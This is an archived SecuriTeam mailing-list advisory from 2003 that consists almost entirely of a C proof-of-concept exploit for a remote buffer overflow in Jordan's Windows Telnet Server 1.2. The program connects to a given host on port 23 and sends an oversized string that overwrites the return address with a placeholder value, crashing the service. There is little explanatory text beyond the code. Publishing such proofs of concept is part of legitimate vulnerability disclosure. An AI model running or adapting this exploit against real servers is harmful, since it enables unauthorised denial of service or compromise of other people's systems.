[NT] Jordan's Telnet Server Buffer Overflow

Source: http://www.derkeiler.com/Mailing−Lists/Securiteam/2003−12/0095.html

---

From: SecuriTeam (*support_at_securiteam.com*)
Date: 12/31/03

```
To: list@securiteam.com
Date: 31 Dec 2003 17:29:48 +0200
```

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
− − promotion

The SecuriTeam alerts list − Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

− − − − − − − − −

Jordan's Telnet Server Buffer Overflow
−−−

Proof of concept:

```
/*

by Luigi Auriemma

Use −DWIN to compile the source on Windows

UNIX & WIN VERSION
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN
   #include <winsock.h>
   #include "winerr.h"

   #define close closesocket
#else
   #include <unistd.h>
   #include <sys/socket.h>
   #include <sys/types.h>
   #include <arpa/inet.h>
   #include <netdb.h>
#endif

#define VER "0.1"
#define PORT 23
#define BUFFSZ 2048
#define BOFSZ 518 /* 516 + 0d + 0a */
#define OFFSET 512
#define RETADD 0xdeadc0de

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
   u_char *buff;
   struct sockaddr_in peer;
   int sd,
         err;
   u_short port = PORT;

   setbuf(stdout, NULL);

   fputs("\n"
      "Jordan's Windows Telnet Server 1.2 remote buffer−overflow
"VER"\n"
      "by Luigi Auriemma\n"
      "e−mail: aluigi@altervista.org\n"
```

```
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\nUsage: %s <server> [port(%d)]\n"
            "\n"
            "The return address will be overwritten with the value
0x%08x\n"
            "\n", argv[0], PORT, RETADD);
        exit(1);
    }

#ifdef WIN
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    printf("\n"
        "Connecting to %s:%hu...",
        inet_ntoa(peer.sin_addr), port);
    err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
    if(err < 0) std_err();
    fputs("ok and now sending the big string\n\n", stdout);

    err = recv(sd, buff, BUFFSZ, 0);
    if(err < 0) std_err();
    fwrite(buff, err, 1, stdout);

        /* BOOM BOOM CICABOOM */
    memset(buff, 'A', BOFSZ − 2); // fill buffer
    *(long *)(buff + OFFSET) = RETADD; // write RETADD
    memcpy(buff + BOFSZ − 2, "\x0d\x0a", 2); // CRLF

    err = send(sd, buff, BOFSZ, 0);
    if(err < 0) std_err();

    err = recv(sd, buff, BUFFSZ, 0);
    if(err < 0) std_err();
    fwrite(buff, err, 1, stdout);
```

```
    fputc('\n', stdout);

    close(sd);

    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }

    return(host_ip);
}

#ifndef WIN
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@altervista.org> Luigi Auriemma.

==========

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

==========
==========

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.